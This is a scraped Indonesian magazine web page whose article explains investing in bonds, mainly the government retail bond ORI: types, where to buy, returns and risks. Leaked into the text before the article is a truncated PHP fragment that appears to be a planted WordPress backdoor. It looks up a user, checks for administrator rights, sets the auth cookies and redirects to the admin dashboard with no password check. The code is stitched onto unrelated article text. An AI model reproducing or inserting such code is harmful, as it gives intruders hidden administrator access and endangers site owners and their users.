user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Money
Keuntungan Maksimal dengan Obligasi

27 Jan 2017


Foto: Fotosearch

Saatnya memilih produk investasi yang memberikan return lebih besar dibandingkan bunga bank. Contohnya, melalui obligasi. Yuk, kenali produk investasi ini melalui bocoran dari Nicky Hogan, Direktur Pengembangan Bursa Efek Indonesia.
 
Kepemilikan:
Obligasi adalah surat berharga atau sertifikat yang berisi kontrak pengakuan utang atas pinjaman yang diterima oleh penerbit obligasi (perusahaan atau negara) dari pemberi pinjaman (investor).
Jenisnya:
  • Obligasi negara, ketika pemerintah bertindak sebagai penerbit obligasi atau peminjam dana.
  • Obligasi korporasi, yang diterbitkan perusahaan swasta nasional termasuk BUMN dan BUMD.
  • Sukuk korporasi, surat utang yang diluncurkan berdasarkan prinsip syariah.
Beli di:
Untuk pasar perdana (ketika obligasi baru diluncurkan), kita bisa membelinya di hampir semua bank dan perusahaan sekuritas. Di luar periode itu, diperdagangkan di bursa.

Waktu transaksi:
Pemerintah telah mengeluarkan obligasi negara retail atau yang disebut ORI, yang biasanya diterbitkan di semester kedua, antara bulan September dan Oktober.

Jangka waktu:
Terbatas sampai jatuh tempo, umumnya tiga tahun ke atas.
Advertisement

Dana yang dibutuhkan:
Sebagian besar obligasi memang dikeluarkan dalam satuan miliar rupiah. Hasilnya, kebanyakan investor adalah perusahaan. Namun untuk ORI, modalnya hanya Rp 5 juta!

Imbal hasil investasi:
  • Balik modal
Asyiknya berinvestasi obligasi, modal kita akan kembali utuh saat jatuh tempo. Perusahaan atau negara wajib membayarkan dana pokok (plus bunga)—baik saat perusahaan mengalami kerugian maupun keuntungan.
  • Capital gain
Sebelum jatuh tempo, kita bisa saja menjual obligasi kita—selama diperdagangkan di bursa. Jika harganya naik dibanding saat kita membeli, maka kita akan memperoleh keuntungan, yang disebut capital gain.
  • Bunga
Selain modal, kita akan menerima bunga atau kupon yang besarnya dijamin di atas suku bunga Bank Indonesia. Misalnya, tahun ini suku bunga adalah 7,5%. Nah, ORI yang diterbitkan pemerintah pun memberikan bunga 9%.

Risikonya:
  • Capital loss
Kebalikan dari capital gain, kita berisiko merugi jika menjual obligasi di saat harga turun dan sebelum jatuh tempo.
  • Gagal bayar
Selain capital loss, kita juga bisa mengalami risiko gagal bayar (default risk), terutama jika membeli obligasi yang diterbitkan perusahaan. Jika mau aman, sih, pilih ORI. Risiko gagal bayarnya kecil karena pemerintah telah menjaminnya berdasarkan Undang Undang No. 24 Tahun 2002 tentang Surat Utang Negara. 

Cara memulai:
  • Datanglah ke agen penjual—baik bank maupun sekuritas—untuk memperoleh ORI di pasar perdana. Tiap agen akan menetapkan harga yang sama (Rp 5 juta). Cukup tunjukkan KTP dan NPWP untuk membuka rekening efek.
  • Setelah menyetor dananya, kita sebagai investor akan menerima sertifikat pengakuan utang. (f)
Baca juga:
Mengenal Istilah Finansial – Part 4
Mengenal Istilah Finansial – Part 3
Mengenal Istilah Finansial – Part 2
Mengenal Istilah Finansial – Part 1
 


Topic

#investasi

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?